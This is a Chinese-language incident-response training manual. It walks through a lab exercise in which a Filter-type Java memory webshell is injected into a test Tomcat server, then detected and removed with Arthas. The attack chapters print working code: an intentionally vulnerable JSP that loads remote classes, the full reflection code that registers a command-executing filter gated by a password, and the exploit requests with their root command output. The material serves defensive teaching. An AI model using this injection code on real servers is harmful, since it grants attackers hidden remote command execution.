内存马应急响应

内存马应急响应 · 新手全流程实战手册

演练日期:2026-08-04 演练环境:本地物理机(攻击端) ↔ 阿里云 ECS x.x.93.235(目标端,隔离测试环境 /opt/tomcat-lab,与生产业务完全隔离) 技术栈:Tomcat 9.0.120 + JDK 21 + JSP(Filter 型内存马) 本文件夹配套文件:

  • attack.py — 本地攻击脚本(SSH 隧道 + 恶意 jar 托管 + 注入 + 利用)
  • evil.jar — 恶意类打包(攻击者托管的 jar,就是通过它打进去的)
  • ShellFilter.java — 恶意类源码(重点学习文件,看懂它 = 看懂内存马原理)
  • dump_ShellFilter.class — Arthas 从内存中 dump 出的恶意类字节码(取证留证)
  • vuln.jsp / index.jsp — 靶机上的漏洞注入点 / 正常业务页面
  • localhost_access_log样本.txt — 本次攻击留下的真实访问日志(应急发现的起点)

目录


第 0 章 新手阅读指南

这份笔记是实打实跑通过的全过程记录——里面的命令都在真实环境执行过,输出都是真实结果。作为新手,建议按这个顺序读:

  1. 第 1 章一定要看:不懂”Filter 链 / 类加载器 / 反射”这三件事,后面所有命令都会看不懂
  2. 第 4、5 章是重点:先看命令,再看我加的 # ← 注释,最后看输出和”这段输出说明什么”
  3. 第 7 章速查卡:抄到你的笔记本里,应急响应时直接照着敲
  4. 有条件就自己复现:ECS 上靶机还在(8080 端口),本地运行 python attack.py 就能重打一遍

学习目标:看完这份笔记,你能回答四个问题——

  • 内存马到底是什么?和传统 webshell 有什么区别?
  • 攻击者是怎么把一段代码”塞进”运行中的 Java 程序的?
  • 应急时怎么用 Arthas 把内存里的恶意代码”揪”出来?
  • 怎么清除、怎么排查后门、怎么恢复业务?

第 1 章 基础概念(建议先看,5 分钟)

1.1 一个 HTTP 请求在 Tomcat 里是怎么被处理的?

假设你访问 http://服务器:8080/,Tomcat 的处理流程:





  • Filter(过滤器):Java Web 里”拦路检查”的组件。正常的过滤器比如登录校验、字符编码、压缩。定义在 web.xml
  • Filter 链(FilterChain):多个过滤器按注册顺序串成的链条。关键:每个请求都会经过链上所有 Filter。

1.2 什么是”内存马”?

传统 webshell(落盘型):攻击者在服务器磁盘上写一个 .jsp/.php 文件(比如 /webapps/shell.jsp),访问它就能执行命令。特点:有文件,杀软能查、文件检查能找到

内存马(无文件型):攻击者不写文件,而是通过代码执行漏洞,往正在运行的 JVM 内存里动态注册一个恶意 Filter。效果一样——访问特殊路径就能命令执行,但:

对比项传统 WEBSHELL内存马
是否有文件✅ 有,磁盘上可见❌ 无,只在内存
杀软查杀能查查不到
文件扫描能找到找不到
重启 JVM 后文件还在,依然可用失效(除非做了持久化)

“内存马”名字的由来:恶意代码只存在于内存(JVM 运行时数据),不落盘。

1.3 为什么恶意代码能”不落盘”地运行?—— 类加载器

Java 程序的类(class)不是一开始全部加载到内存的,而是用到哪个类才加载哪个。负责加载类的家伙叫类加载器(ClassLoader)

  • 正常情况:类加载器从磁盘上的 .class 文件 / .jar 包里读字节码
  • 有一种特殊的类加载器叫 URLClassLoader:它能从 URL(网络地址) 直接加载字节码,不一定需要磁盘文件
// 这就是本次攻击的核心一行(简化版):
URLClassLoader loader = new URLClassLoader(new URL[]{new URL("http://攻击者/evil.jar")});
Class<?> c = loader.loadClass("com.evil.ShellFilter");  // 从网络加载恶意类

👉 这就是”无文件”的底层原理:类字节码通过网络进内存,磁盘上干干净净。

1.4 什么是”反射”?

Java 反射 = 运行时查看和操作类/对象的能力。正常情况下你写代码要”编译期就知道类名、方法名”;反射可以在运行时用字符串拿到类、调用方法、读写私有字段

// 反射示例:用字符串"filterDefs"拿到私有字段,再往里面塞东西
Field field = object.getClass().getDeclaredField("filterDefs"); // 按名字找字段
field.setAccessible(true);                                       // 私有字段也要能碰
Map map = (Map) field.get(object);                               // 取出字段值
map.put("evilShell", 恶意Filter定义);                             // 塞进我们的恶意过滤器

👉 内存马注入就是反射 + 类加载器的组合拳:远程加载类 → 反射调用它的方法 → 反射往 Filter 链里塞恶意过滤器。

1.5 什么是 SSH 隧道?(攻击脚本里用到的)

SSH 隧道 = 用 SSH 加密通道把两个端口”接”起来,让网络流量走 SSH 隧道传输。本次演练:

本地 127.0.0.1:8080 ══SSH隧道══▶ ECS 127.0.0.1:8080   (正向:本地访问 = 访问服务器)
ECS 127.0.0.1:9000 ══SSH隧道══▶ 本地 127.0.0.1:9000   (反向:服务器访问9000 = 访问我们本地的http服务)
  • 正向隧道:模拟”攻击者通过内网/跳板访问目标”(真实场景:目标在内网,攻击者 SSH 跳板进入)
  • 反向隧道:把恶意 jar 托管在攻击者本地,但目标通过 http://127.0.0.1:9000/evil.jar 就能下载到——模拟攻击者持有的恶意类服务器(类似 Log4Shell 的 JNDI 服务器),同时把真实攻击者的 IP 藏了起来(日志里只看到 127.0.0.1)

1.6 什么是 Arthas?

Arthas(阿尔萨斯)是阿里巴巴开源的在线诊断工具,可以”钻进”正在运行的 Java 程序:看类、反编译代码、看内存对象、执行表达式。不需要重启目标程序。本次应急响应的取证全靠它。


第 2 章 演练环境与攻击链总览

本地物理机 (Windows, 攻击者视角)                 ECS 

完整攻击链(一条线记住):

① 发现注入点 ② 远程加载恶意类  ③ 反射注册 Filter ④ 触发命令执行
/vuln.jsp 泄露 URLClassLoader 从往 StandardContext访问 /spass=hackme
远程类加载接口攻击者jar托管地址的 FilterChain &cmd=id(127.0.0.1:9000) 塞入 evilShell → 回显命令结果

角色划分

  • 本地物理机 = 攻击者(跑 attack.py)
  • ECS 上的 Tomcat = 受害者(业务系统 + 漏洞点)
  • 你在 ECS 上的另一个 SSH 会话 = 应急响应管理员(第 5 章所有命令都在这执行)

第 3 章 环境部署(搭建靶机)

目标:ECS 上装一个独立的 Tomcat(端口 8080,和生产 80/443 业务完全隔离),放两个页面。

# ① 建目录、下载 Tomcat 9.0.120(国内用阿里云镜像,GitHub 慢)
mkdir -p /opt/tomcat-lab && cd /opt/tomcat-lab
curl -sL -o tomcat.tar.gz "https://mirrors.aliyun.com/apache/tomcat/tomcat-9/v9.0.120/bin/apache-tomcat-9.0.120.tar.gz"
tar xzf tomcat.tar.gz && mv apache-tomcat-9.0.120 tomcat
#     tar xzf = 解压 (x=解压 z=gzip压缩格式 f=指定文件)
#     mv 改名为简短的 tomcat,方便输入

# ② 部署两个页面(ROOT = 根应用目录,访问 / 就是这里)
cd tomcat/webapps/ROOT && rm -rf *
#   index.jsp:正常业务页面(登录页面那种东西)
#   vuln.jsp :故意留的漏洞接口,模拟"任意远程类加载"漏洞
#     ← 真实世界里这个漏洞长这样:JNDI注入(Log4j2)、反序列化(Fastjson/Shiro)、
#       Struts2 OGNL 等,它们最终都能让攻击者加载任意类。这里用 JSP 模拟,
#       效果完全一样:给一个 url 就能加载类并调用 install 方法。

# ③ 启动 Tomcat
./tomcat/bin/startup.sh        # startup.sh = 启动脚本;日志在 tomcat/logs/catalina.out

# ④ 验证
curl -s http://127.0.0.1:8080/   # 能看到首页 HTML = 业务正常

vuln.jsp 源码(漏洞点,务必看懂)

<%@ page import="java.net.*,java.lang.reflect.*" %>
<%
String url = request.getParameter("url");    // ① 接收攻击者的 url 参数(恶意 jar 地址)
String cls = request.getParameter("cls");    // ② 接收类名参数(恶意类名)
if (url != null && cls != null) {
   // ③ 用 URLClassLoader 从 url 加载类 —— 这就是漏洞的核心!
   URLClassLoader loader = new URLClassLoader(new URL[]{new URL(url)}, this.getClass().getClassLoader());
   Class<?> c = loader.loadClass(cls);               // ④ 加载指定类
   Method m = c.getMethod("install", ServletContext.class);  // ⑤ 找 install 方法
   m.invoke(null, application);                      // ⑥ 调用它!恶意 Filter 注册完成
   out.println("[+] remote class loaded and installed: " + cls);
}
%>

漏洞本质:接口信任了攻击者提供的 urlcls——让攻击者把任意代码塞进 JVM


第 4 章 攻击阶段:注入点 → 内存马 → 命令执行

本章所有操作由本地物理机执行(python attack.py),模拟真实攻击者。

4.1 攻击脚本 attack.py 在做什么?

# 关键模块拆解(对应文件 attack.py):

# ① paramiko 连 SSH(我们和服务器之间的安全通道)
ssh.connect('x.130.93.x', username='xxx', key_filename=SSH_KEY)

# ② 双向隧道(见 1.5 概念)
start_forward(transport, 8080, '127.0.0.1', 8080)   # 本地8080 → ECS 8080
start_reverse(transport, 9000, '127.0.0.1')          # ECS:9000 → 本地9000

# ③ 本地起一个 HTTP 服务,把 evil.jar 托管出去
#   (模拟攻击者的恶意类服务器,JNDI/Log4Shell 场景里就是恶意 LDAP 服务器)
#   http://127.0.0.1:9000/evil.jar ← 服务器访问这个地址就能下载恶意类

# ④ 攻击四步走(每步发一个 HTTP 请求)
#   GET /                   → 指纹识别
#   GET /vuln.jsp           → 发现漏洞点
#   GET /vuln.jsp?url=...evil.jar&cls=com.evil.ShellFilter → 注入内存马
#   GET /s?pass=hackme&cmd=id → 利用内存马执行命令

4.2 Step 1:指纹识别(认识目标)

GET / -> HTTP 200
<html><head><title>XX 内网业务管理系统</title></head>...

输出解读:目标是一个”XX 内网业务管理系统”。攻击者先摸清目标是什么系统、什么技术栈,再找对应漏洞。

4.3 Step 2:发现可注入点

GET /vuln.jsp -> HTTP 200
[i] usage: /vuln.jsp?url=http://ATTACKER/evil.jar&cls=com.evil.ShellFilter

输出解读:漏洞接口把自己的用法都吐出来了(信息泄露)——告诉攻击者:传一个 url 和一个 cls 就能加载任意类。这就是”发现可注入点”:不需要扫描器,一个请求就暴露了。

新手注意:真实渗透里这种”接口主动泄露参数用法”很常见,比如报错回显、Swagger 文档、debug 接口。

4.4 Step 3:打入内存马(全流程最关键的一步)

GET /vuln.jsp?url=http://127.0.0.1:9000/evil.jar&cls=com.evil.ShellFilter
[+] remote class loaded and installed: com.evil.ShellFilter

这里发生了什么(对应第 1.3 节原理)

  1. Tomcat 收到请求,执行 vuln.jsp
  2. URLClassLoaderhttp://127.0.0.1:9000/evil.jar(经反向隧道 = 攻击者本地)远程加载 com.evil.ShellFilter
  3. 反射调用它的 install(servletContext) 静态方法
  4. install() 里用反射找到 StandardContext(Tomcat 管 Filter 链的容器),动态注册了名为 evilShell 的恶意 Filter,并把它插到 Filter 链最前面

恶意类 ShellFilter.java 源码逐段拆解(重点学习)

public static void install(ServletContext servletContext) throws Exception {
   // 【第1步】拿到 StandardContext(管理所有 Filter 的对象)
   // ServletContext 是个"门面"(Facade),里面套着 ApplicationContext,
   // 再里面才是 StandardContext。所以循环找 3 层:
   Object obj = servletContext;
   for (int i = 0; i < 3 && obj != null; i++) {
       Field ff = obj.getClass().getDeclaredField("context");  // 反射:按名字找私有字段
       ff.setAccessible(true);                                  // 私有字段也能访问
       obj = ff.get(obj);                                       // 取出字段值
       if (obj != null && obj.getClass().getName().equals(
               "org.apache.catalina.core.StandardContext")) {   // 找到 StandardContext 就停
           break;
      }
  }
   if (obj == null) throw new IllegalStateException("StandardContext not found");

   // 【第2步】构造一个"恶意 Filter 的定义"(名字 evilShell,类是我们自己)
   Class<?> filterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
   Object filterDef = filterDefClass.getDeclaredConstructor().newInstance();
   filterDefClass.getMethod("setFilterName", String.class).invoke(filterDef, "evilShell");
   filterDefClass.getMethod("setFilterClass", String.class).invoke(filterDef, ShellFilter.class.getName());
   filterDefClass.getMethod("setFilter", Filter.class).invoke(filterDef, new ShellFilter());

   // 【第3步】把 FilterDef 塞进 filterDefs 这个 Map(相当于 web.xml 里注册了一个 Filter)
   Field filterDefsField = obj.getClass().getDeclaredField("filterDefs");
   filterDefsField.setAccessible(true);
   Map<String, Object> filterDefs = (Map<String, Object>) filterDefsField.get(obj);
   filterDefs.put("evilShell", filterDef);

   // 【第4步】把过滤规则(/* = 所有请求)插到 Filter 链最前面
   // addFilterMapBefore = 插到最前面 → 所有请求第一个经过我们的恶意 Filter
   Class<?> filterMapClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
   Object filterMap = filterMapClass.getDeclaredConstructor().newInstance();
   filterMapClass.getMethod("setFilterName", String.class).invoke(filterMap, "evilShell");
   filterMapClass.getMethod("addURLPattern", String.class).invoke(filterMap, "/*");
   obj.getClass().getMethod("addFilterMapBefore", filterMapClass).invoke(obj, filterMap);

   // 【第5步】启动这个 Filter(不然不生效)
   obj.getClass().getMethod("filterStart").invoke(obj);
}
// 【恶意逻辑】doFilter:每个请求都会经过它
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) {
   String cmd = request.getParameter("cmd");           // ① 看请求有没有 cmd 参数
   // ② 触发条件:路径以 /s 结尾 + 有 cmd 参数 + pass 口令等于 hackme
   if (request.getRequestURI().endsWith("/s") && cmd != null
           && "hackme".equals(request.getParameter("pass"))) {
       Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd}); // ③ 执行命令
       // ④ 把命令输出写回响应(回显)——攻击者浏览器/脚本直接看到结果
       response.getWriter().print(命令输出);
       return;  // ⑤ 拦截:不往下传,业务无感
  }
   chain.doFilter(req, resp);  // ⑥ 不是触发请求就正常放行 → 业务透明
}

内存马 vs 一句话木马:一句话木马(如冰蝎的 .jsp)是把代码写到文件;内存马是把同样的逻辑变成内存里的一个 Filter。触发方式都是”带口令访问特殊路径”。

4.5 Step 4:利用内存马命令执行

# 触发请求:/s?pass=hackme&cmd=<要执行的命令>
cmd: id
uid=0(root) gid=0(root) groups=0(root)     ← 命令执行成功!且是 root 权限!

cmd: whoami
root

cmd: hostname; cat /etc/hostname
DCJ

cmd: cat /etc/passwd | head -3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

输出解读

  • id 显示 uid=0(root)Tomcat 以 root 运行,攻击者拿到的是服务器最高权限(这也是加固建议:Tomcat 不要用 root 跑)
  • cat /etc/passwd 能读系统账户文件 → 已经可以任意读文件
  • 这个内存马现在等价于”一个不需要文件、重启前永远可用的 root shell”
# 最后验证:正常业务不受影响(内存马对业务"透明")
GET / -> HTTP 200(正常返回)

为什么业务无感? 因为恶意 Filter 对普通请求只是”看一眼参数,不是触发请求就放行”,业务链路完全没变。


第 5 章 应急响应:发现 → 取证 → 清除 → 扫描 → 恢复

角色切换:现在你是应急响应管理员,在 ECS 上执行下面的命令。 目标:发现入侵 → 确认是内存马 → 取证留证 → 清除 → 全面排查后门 → 修复漏洞恢复业务。

5.1 阶段 A:发现——从访问日志找到蛛丝马迹

故事线:管理员例行查看 Tomcat 访问日志,发现了异常请求。

cat /opt/tomcat-lab/tomcat/logs/localhost_access_log.2026-08-04.txt

真实输出(节选关键行):

127.0.0.1 - - [04/Aug/2026:01:24:03] "GET /vuln.jsp?url=http%3A%2F%2F127.0.0.1%3A9000%2Fevil.jar&cls=com.evil.ShellFilter" 200
127.0.0.1 - - [04/Aug/2026:01:24:03] "GET /s?pass=hackme&cmd=id" 404         ← 注入前的尝试(未生效)
127.0.0.1 - - [04/Aug/2026:01:24:42] "GET /s?pass=hackme&cmd=id" 200         ← 注入成功后(命令执行了!)
127.0.0.1 - - [04/Aug/2026:01:24:43] "GET /s?pass=hackme&cmd=cat+%2Fetc%2Fpasswd+%7C+head+-3" 200

新手怎么看日志(3 个可疑点):

  1. vuln.jspurl=...evil.jar&cls=com.evil.ShellFilter → 有人在让服务器加载外部类(攻击行为!)
  2. /s?pass=hackme&cmd=idcmd= 参数 = 命令执行特征,pass= = 后门口令(webshell/内存马标志)
  3. 同一个路径 /s 从 404 变成 200 → 说明”中间发生了什么让这个路径生效了”——这正是内存马注入成功的时间点

日志告警特征速记cmd= / pass= / 远程 jar 加载 / 404→200 转变 / 无对应文件的高频路径。

5.2 阶段 B:文件系统排查——确认”没有落盘文件”

管理员第一反应:查文件系统有没有 webshell 文件。

# ① 看 webapps 下所有文件(业务部署目录)
find /opt/tomcat-lab/tomcat/webapps -type f | head
# 输出只有 index.jsp / vuln.jsp 和 Tomcat 自带示例 —— 没有 shell.jsp 之类的文件

# ② 找最近 2 小时内被修改过的文件
find /opt/tomcat-lab -mmin -120 -type f | grep -v logs
# 只有我们部署的业务文件 —— 磁盘干净

# ③ 专门找 jsp/war 后门
find /opt/tomcat-lab -name "*.jsp" -o -name "*.war" | xargs ls -la
# 无恶意文件

推理:日志明确显示命令执行了(/s?cmd=id 返回 200),但磁盘上没有任何 webshell 文件 → 恶意代码不在文件系统里 → 高度怀疑内存马

5.3 阶段 C:Arthas 取证(本次演练核心环节)

工具准备

# 下载 Arthas(阿里云官方 CDN,应急时如果目标无法外网下载,
# 应提前在运维工具机备好,或从内网镜像拉)
curl -sL -o arthas-boot.jar https://arthas.aliyun.com/arthas-boot.jar

# 找到 Tomcat 的进程号(PID)
pgrep -f "org.apache.catalina.startup.Bootstrap"
# 输出:1761264 ← 这就是 Tomcat 的 PID

# 用非交互模式执行 Arthas 命令(-f 指定命令脚本文件,适合应急自动化和记录)
java -jar arthas-boot.jar --select 1761264 -f /tmp/arthas_cmd.txt
#   --select <pid> = 指定要诊断的进程
#   -f 文件 = 从文件读命令批量执行

取证 ① sc 搜索可疑类(sc = search class)

[arthas@1761264]$ sc com.evil.*
com.evil.ShellFilter
com.evil.ShellFilter
Affect(row-cnt:2) cost in 22 ms.

输出解读:内存里存在 com.evil.ShellFilter!出现了 2 次——因为攻击打了 2 次(第一次失败了,第二次成功),每次注入都加载了一份类。正常业务系统里绝不会有 com.evil 这个包。

取证 ② sc -d 看类详情——三个铁证

[arthas@1761264]$ sc -d com.evil.ShellFilter
class-info       com.evil.ShellFilter
code-source       /evil.jar                   ← 【铁证1】类来源是URL不是磁盘路径!
class-loader     java.net.URLClassLoader@2dda4381   ← 【铁证2】动态远程类加载器!
interfaces       javax.servlet.Filter         ← 【铁证3】它是 Filter(内存马常见形态)

新手必懂——为什么这三个字段就是铁证

  • code-source: /evil.jar:正常类的来源是磁盘文件路径(如 file:/opt/tomcat-lab/tomcat/lib/servlet-api.jar)。/evil.jar 是一个 URL 路径(来自网络),说明这个类是从网上加载的——正常业务不可能这样。
  • class-loader: java.net.URLClassLoader:正常业务类由 Tomcat 的 WebappClassLoader(加载 webapps 下的类)或系统类加载器加载。URLClassLoader 专门用来加载远程/动态字节码
  • interfaces: javax.servlet.Filter:它是个过滤器 → 结合日志里 /s?cmd=id 能命令执行 → 就是它干的。

取证 ③ jad 反编译——直接看恶意代码

[arthas@1761264]$ jad -c 2dda4381 com.evil.ShellFilter
#   -c <hashcode> = 指定类加载器(因为有两个实例,要指明确认看哪一个)
...
/*38*/   clazz.getMethod("setFilterName", String.class).invoke((Object)field, "evilShell");
/*58*/   object.getClass().getMethod("filterStart", new Class[0]).invoke(object);
/*69*/   Process process = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", string});   ← 命令执行!

输出解读:Arthas 把内存里的字节码反编译成 Java 源码——第 69 行 Runtime.exec("/bin/sh -c ...") 就是执行命令的代码。证据链闭合:这个类就是内存马,逻辑和日志里的攻击行为完全对应

取证 ④ dump 导出 class——留证

[arthas@1761264]$ dump -d /tmp/arthas_dump com.evil.ShellFilter
Affect(row-cnt:2) cost in 58 ms.
→ /tmp/arthas_dump/java.net.URLClassLoader-2dda4381/com/evil/ShellFilter.class   ← 落盘了!
→ /tmp/arthas_dump/java.net.URLClassLoader-6ccd63b7/com/evil/ShellFilter.class

为什么要 dump:应急响应要留证据——把内存里的恶意类导成 .class 文件保存(对应本文件夹的 dump_ShellFilter.class),可以交给上级/厂商分析,也是事后复盘材料。

取证 ⑤ vmtool 直击 Filter 链——实锤动态注册

[arthas@1761264]$ vmtool --action getInstances --className org.apache.catalina.core.StandardContext \
  --express 'instances.{ getPath() + " -> " + filterDefs.keySet() }'
@String[/manager -> [Tomcat WebSocket (JSR356) Filter, CSRF, HTTP header security filter]]
@String[/docs -> [Tomcat WebSocket (JSR356) Filter]]
@String[ -> [Tomcat WebSocket (JSR356) Filter, evilShell]]     ← 注意这里!ROOT应用多了 evilShell
@String[/examples -> [Compression Filter, ...]]

输出解读(重点看)

  • 列出 Tomcat 里每个应用(/manager、/docs、/examples……和 ROOT)注册的所有 Filter
  • 其他应用的 Filter 都是 Tomcat 自带的(WebSocket、CSRF、压缩……都是 web.xml 里配置的正常过滤器)
  • ROOT 应用(path 为空的那行)多了一个 evilShell——没有任何配置文件和它对应 → 这就是被动态注册的内存马,实锤

取证小技巧:对比”配置里有的 Filter”和”运行时实际存在的 Filter”,多出来的就是内存马。这是最可靠的判断方法。

取证 ⑥ 落盘痕迹检查——JDK 9+ 的特别发现

# 理论上 URLClassLoader 下载远程 jar 会缓存到 java.io.tmpdir(JDK 8 行为)
find /opt/tomcat-lab/tomcat/temp /tmp -name "*.jar" -newermt "2026-08-04 01:20"
# 结果:啥都没有!

这是本次演练最有价值的实战发现之一:JDK 8 时代,URLClassLoader 从 http 下载 jar 会在临时目录留下一个随机名的缓存 jar(java.io.tmpdir 下),应急时可以靠它发现攻击痕迹。但 JDK 9+ 之后不再缓存,远程 jar 直接进内存——更隐蔽,只能靠内存取证(Arthas)。这也说明:Java 版本越高,内存马检测越依赖运行时工具。

5.4 阶段 D:清除内存马

原理:这是纯内存型内存马(没有持久化),它的宿主就是 JVM 进程——重启 JVM,内存清空,内存马自然消失

# ① 关闭 Tomcat(shutdown.sh 优雅停止)
/opt/tomcat-lab/tomcat/bin/shutdown.sh && sleep 5
# 验证进程真的退出了
pgrep -f Bootstrap && echo "[!] 进程仍在" || echo "[+] 进程已退出"

# ② 重启
/opt/tomcat-lab/tomcat/bin/startup.sh

# ③ 验证业务恢复
curl -s -o /dev/null -w "GET / -> HTTP %{http_code}" http://127.0.0.1:8080/
# 输出 HTTP 200 → 业务正常

# ④ 验证内存马已失效(同样的触发请求现在 404 了)
curl -s "http://127.0.0.1:8080/s?pass=hackme&cmd=id" | head -3
# 输出 404 Not Found → 内存马没了!

# ⑤ Arthas 复查(严谨做法:清除后必须复查确认)
[arthas@1765934]$ sc com.evil.*
Affect(row-cnt:0) cost in 14 ms.     ← 0 行!恶意类彻底不存在

vmtool --action getInstances ...(同上命令)
@String[ -> [Tomcat WebSocket (JSR356) Filter]]   ← evilShell 已消失,Filter 链恢复干净

⚠️ 重要提醒(新手必记):重启能清除纯内存型内存马。但如果攻击者做了持久化——比如改了 lib/ 下的 jar、在启动参数加了 -javaagent、写了启动脚本——重启后内存马会再次出现。所以必须先做 5.5 的后门扫描确认无持久化,再决定”重启清除”是否足够。

5.5 阶段 E:后门扫描(全面排查系统是否还有别的后门)

原则:不止清除一个内存马,要确认整个系统干净。攻击者往往不止留一个后门。

# ① 计划任务(定时任务 = 常见持久化手段)
crontab -l                       # root 的计划任务:只有宝塔面板自己的备份任务,正常
ls /etc/cron.d/ /etc/cron.daily/ # 系统自带 e2scrub/sysstat,正常

# ② 启动项
cat /etc/rc.local                # 无内容,正常
systemctl list-units --type=service --state=running
# 运行中的服务:aegis(阿里云盾)/BT(宝塔)/mihomo(用户自己的代理)/sshd/nginx... 都是已知服务

# ③ SSH 后门(攻击者最常留:把自己的公钥写进 authorized_keys)
cat /root/.ssh/authorized_keys
# 只有 admin@DESKTOP-AI93QHL —— 用户自己的电脑,正常

# ④ 用户账户(攻击者可能创建新用户)
grep -v nologin /etc/passwd
# admin / springboot 都是已知用户,无新增异常用户

# ⑤ 监听端口(后门可能开新端口)
ss -antp | grep LISTEN
# 22/80/443/8080/3306/5003/35033 —— 全部已知,无陌生端口

# ⑥ Tomcat lib 目录基线(攻击者可能替换 jar 植入后门)
ls /opt/tomcat-lab/tomcat/lib/*.jar | wc -l                  # 33 个 = 官方包数量
find /opt/tomcat-lab/tomcat/lib -name "*.jar" -newermt "2026-08-04 01:20" | wc -l  # 0 个近期新增

# ⑦ 近期被修改的系统文件 + profile 文件(.bashrc 等可能被注入启动后门)
find /etc /root /usr/local /opt -mmin -180 -type f | grep -vE "tomcat|\.bash_history"
tail -5 /root/.bashrc   # 只有 clash 代理和宝塔别名,正常

扫描结论:全部正常,无持久化后门 → 确认本次攻击是纯内存型,重启清除有效、彻底。

5.6 阶段 F:修复漏洞 + 恢复业务

应急的最后一步:堵住让攻击者进来的洞,否则清完还会再进来。

# ① 修复漏洞:移除注入点(真实场景:给漏洞打补丁、加参数校验、限制出网等)
mv /opt/tomcat-lab/tomcat/webapps/ROOT/vuln.jsp /tmp/vuln.jsp.bak

# ② 最终验证
curl -s -o /dev/null -w "GET / -> HTTP %{http_code}" http://127.0.0.1:8080/             # 200 业务正常
curl -s -o /dev/null -w "GET /vuln.jsp -> HTTP %{http_code}" http://127.0.0.1:8080/vuln.jsp  # 404 漏洞已修复

第 6 章 新手 FAQ

Q1:内存马到底”存在”在哪里? A:在 JVM 进程的内存里。它是被加载到内存的类对象,挂在 Tomcat 的 Filter 链数据结构里。没有文件,所以重启进程就没了。

Q2:杀软为什么查不到内存马? A:杀软主要扫磁盘文件 + 进程行为。内存马没有文件(文件层面零特征),行为层面只是”动态注册了个 Filter”——大多数杀软不监控 JVM 内部结构。

Q3:scjaddumpvmtool 都是什么意思? A:Arthas 的命令:

  • sc(search class)= 搜类
  • jad = 反编译(内存里的字节码 → Java 源码)
  • dump = 导出类字节码成文件
  • vmtool = 查看/操作 JVM 里的对象实例
  • 其他常用:thread 看线程、heapdump 导出堆、ognl 执行表达式、watch 监控方法

Q4:内存马有哪些类型? A:按注册位置分:

  • Filter 型(本次演练):挂在 Filter 链 → 每个请求都经过
  • Servlet 型:动态注册一个 Servlet 到路径映射
  • Listener 型:注册事件监听器(request/session 事件触发)
  • Spring 型:注册 Controller/Interceptor(SpringMVC 框架内)
  • Agent 型:篡改已加载的类(最隐蔽,dump 出来看是”正常类被改了”)

Q5:如果重启后内存马又出现了,说明什么? A:说明有持久化——攻击者把恶意代码写进了磁盘某个会被 JVM 加载的地方(改 lib jar / -javaagent 启动参数 / 写启动脚本 / 替换框架 jar)。这时要按 5.5 的清单深挖,先清除持久化载体再重启。

Q6:日志里的 404→200 转变为什么重要? A:请求某个路径先 404(目标不存在)后 200(目标存在),说明运行环境变了——内存马注入生效的典型信号。监控这类转变能快速发现内存马攻击。

Q7:本地物理机扮演的角色是什么? A:攻击者。attack.py 里做了三件事:SSH 隧道(内网穿透/隐藏来源)、托管恶意 jar(恶意类服务器)、发 HTTP 攻击请求。真实攻击中攻击者用 VPS/跳板机做这些事,日志里只看到内网 IP。

Q8:如果 Tomcat 以普通用户(非 root)运行,影响有多大? A:攻击者拿到的是 Tomcat 运行用户的权限。root 运行 = 服务器沦陷;普通用户运行 = 至少无法直接读写系统文件。最小权限原则是重要防线

Q9:vuln.jsp 这种漏洞在真实世界里长什么样? A:对应关系:

  • 远程类加载接口 → JNDI 注入(Log4j2/Log4Shell)、反序列化(Fastjson/Shiro/Weblogic)
  • 攻击者托管恶意 jar/LDAP → 攻击者的 VPS 上的恶意 LDAP/RMI 服务器
  • 内存马注册 → 完全一样(Filter/Servlet/Spring Controller) 所以本演练虽然用 JSP 模拟,但攻击链每一步在真实漏洞里都有对应。

Q10:我要多久才能独立做一次应急响应? A:理解这份笔记 + 亲手复现一遍(ECS 靶机还在),大概 1-2 天能上手流程。重点是记住”检测要点速查表”和”先查持久化再重启”的原则。


第 7 章 速查卡(应急时复制用)

一、发现(日志)

# 找可疑请求:远程类加载 / cmd 参数 / pass 口令 / 404→200
grep -E "cmd=|pass=|evil|Shell|\.jar&cls=" tomcat/logs/localhost_access_log*.txt

二、确认(文件 vs 内存)

# 1. 文件系统:无落盘
find /var/lib/tomcat*/webapps -type f -newermt "1 day ago" 2>/dev/null
# 2. 内存:Arthas 三连
java -jar arthas-boot.jar --select <PID> -c "sc com.evil.*"          # 搜可疑类
java -jar arthas-boot.jar --select <PID> -c "sc -d com.evil.ShellFilter"  # 看 code-source/class-loader
java -jar arthas-boot.jar --select <PID> -c "jad -c <hash> com.evil.ShellFilter"  # 反编译
# 3. Filter 链对比(最可靠)
vmtool --action getInstances --className org.apache.catalina.core.StandardContext \
 --express 'instances.{ getPath() + " -> " + filterDefs.keySet() }'

三、清除

# 纯内存型:重启即清除
shutdown.sh && sleep 5 && startup.sh
# 复查
java -jar arthas-boot.jar --select <新PID> -c "sc com.evil.*"   # 期望 row-cnt:0

四、后门扫描

crontab -l; ls /etc/cron.d/                        # 计划任务
systemctl list-units --type=service --state=running  # 服务
cat /root/.ssh/authorized_keys                     # SSH 后门
grep -v nologin /etc/passwd                        # 异常用户
ss -antp | grep LISTEN                             # 陌生端口
find lib -name "*.jar" -newermt "3 days ago"       # jar 替换
tail -5 ~/.bashrc; cat /etc/rc.local               # profile 后门
find / -mtime -3 -name "*.jsp" -o -mtime -3 -name "*.php" 2>/dev/null  # 后门文件

五、恢复与加固

# 修复漏洞 → 重启验证 → 补监控(日志/基线/最小权限)

第 8 章 术语表

术语解释
JVMJava 虚拟机,Java 程序运行的地方,内存马就住在它的内存里
Tomcat最流行的 Java Web 服务器(Servlet 容器)
Filter / FilterChain过滤器 / 过滤器链,每个请求必经的检查通道
Servlet / JSPJava Web 的业务组件(JSP 可以在里面写 Java 代码)
webappsTomcat 部署应用/网站的目录,落盘 webshell 通常在这里
web.xml应用的配置文件,正常 Filter 都在这里注册
StandardContextTomcat 内部管理一个应用所有组件(Filter/Servlet)的对象
ClassLoader类加载器,负责把 class 字节码加载进内存
URLClassLoader能从网络 URL 加载字节码的类加载器(内存马攻击的入口)
反射(Reflection)运行时用字符串动态操作类/字段/方法的技术
反序列化漏洞程序把外部数据还原成对象时执行了恶意代码(内存马常见入口)
JNDI 注入程序按攻击者指定的地址加载远程对象(Log4Shell 就是它)
Arthas阿里开源 Java 在线诊断工具,本次取证核心工具
jadArthas 的反编译命令(字节码 → Java 源码)
dumpArthas 的导出命令(内存类 → 文件)
vmtoolArthas 查看 JVM 对象实例的命令
